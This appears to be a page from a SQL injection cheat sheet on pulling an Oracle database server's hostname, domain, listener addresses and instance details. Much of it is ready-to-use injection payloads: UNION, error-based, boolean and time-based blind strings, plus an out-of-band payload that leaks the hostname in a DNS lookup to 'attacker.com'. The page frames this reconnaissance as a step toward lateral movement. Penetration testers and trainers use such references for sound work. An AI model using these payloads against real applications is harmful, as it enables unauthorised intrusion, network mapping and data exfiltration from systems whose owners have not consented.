oracle

Server Hostname

Techniques to retrieve the Oracle database server hostname information

Determining the hostname of an Oracle database server can provide valuable information about the network infrastructure and assist in mapping the target environment. This information is often useful for lateral movement in more complex environments.

Basic Hostname Queries

Oracle provides several system views and functions to obtain hostname information:

Method Description Privileges
SYS_CONTEXT('USERENV', 'SERVER_HOST') Current server hostname (10g+) None
UTL_INADDR.GET_HOST_NAME Local hostname via UTL_INADDR package EXECUTE on UTL_INADDR and a network ACL
v$instance.HOST_NAME Instance hostname from v$instance view SELECT ANY DICTIONARY or SELECT_CATALOG_ROLE
gv$instance.HOST_NAME One row per instance in a RAC cluster SELECT ANY DICTIONARY or SELECT_CATALOG_ROLE

Standard Hostname Queries

-- Most common method, works for any user
SELECT SYS_CONTEXT('USERENV', 'SERVER_HOST') FROM dual

-- From v$instance view
SELECT HOST_NAME FROM v$instance

-- Full instance information
SELECT INSTANCE_NAME, HOST_NAME, STATUS, DATABASE_STATUS FROM v$instance

SQL Injection Examples

UNION-Based Hostname Extraction

-- Two-column string query
' UNION SELECT SYS_CONTEXT('USERENV', 'SERVER_HOST'),NULL FROM dual--

-- Four-column string query
' UNION SELECT NULL,HOST_NAME,NULL,NULL FROM v$instance--

Error-Based Hostname Extraction

These work when the application displays database errors. OR makes Oracle evaluate the function even though username = '' matches no row:

-- Oracle Text installed (CTXSYS): the value appears in DRG-11701: thesaurus <value> does not exist
' OR CTXSYS.DRITHSX.SN(1,(SELECT SYS_CONTEXT('USERENV','SERVER_HOST') FROM dual))=1--

-- Oracle 23ai+ with ERROR_MESSAGE_DETAILS=ON (the default): ORA-01722 is followed by ORA-03302 ... invalid string value: <value>
' OR 1=TO_NUMBER(SYS_CONTEXT('USERENV','SERVER_HOST'))--

Out-of-Band Extraction

The hostname can also be sent in a DNS lookup, which needs EXECUTE on UTL_INADDR and a network ACL (see Out Of Band Channeling):

' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(SYS_CONTEXT('USERENV','SERVER_HOST')||'.attacker.com'),NULL FROM dual--

Blind Hostname Extraction

For blind SQL injection, extract the hostname character by character. The injected value must make the original condition true (here admin), otherwise the result is always empty:

-- Check if first character of hostname is 'o'
admin' AND ASCII(SUBSTR(SYS_CONTEXT('USERENV','SERVER_HOST'),1,1))=111--

For time-based blind (DBMS_PIPE needs an explicit grant, see Timing):

-- Add delay if first character is 'o'
admin' AND (CASE WHEN ASCII(SUBSTR(SYS_CONTEXT('USERENV','SERVER_HOST'),1,1))=111 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',10) ELSE 0 END)>=0--

Domain Information

In addition to hostname, you can also extract domain information:

-- Get domain name (the db_domain parameter, often empty)
SELECT SYS_CONTEXT('USERENV', 'DB_DOMAIN') FROM dual

-- Combined hostname and domain
SELECT SYS_CONTEXT('USERENV', 'SERVER_HOST')||'.'||SYS_CONTEXT('USERENV', 'DB_DOMAIN') FROM dual

Network Interface Information

V$LISTENER_NETWORK shows the listener addresses, including host and port (needs SELECT ANY DICTIONARY or SELECT_CATALOG_ROLE):

-- Returns rows such as LOCAL LISTENER | (ADDRESS=(PROTOCOL=TCP)(HOST=dbhost)(PORT=1521))
SELECT TYPE, VALUE FROM v$listener_network

Environment Details

For more comprehensive environment information:

-- IP_ADDRESS is the address of the client connected to the database (the application server)
SELECT SYS_CONTEXT('USERENV', 'SERVER_HOST') as hostname,
       SYS_CONTEXT('USERENV', 'DB_NAME') as database_name,
       SYS_CONTEXT('USERENV', 'INSTANCE_NAME') as instance_name,
       SYS_CONTEXT('USERENV', 'IP_ADDRESS') as ip_address
FROM dual

Using UTL_INADDR Package

The UTL_INADDR package resolves names and addresses. Since 11g it needs a network ACL entry with the resolve privilege, even for the local host; without one it fails with ORA-24247:

-- Hostname of the database server
SELECT UTL_INADDR.GET_HOST_NAME FROM dual

-- IP address of the database server
SELECT UTL_INADDR.GET_HOST_ADDRESS FROM dual

-- Resolve an internal hostname
SELECT UTL_INADDR.GET_HOST_ADDRESS('internal-hostname') FROM dual

Global Database Name

The global database name combines the database name with the domain:

-- Get global database name
SELECT GLOBAL_NAME FROM GLOBAL_NAME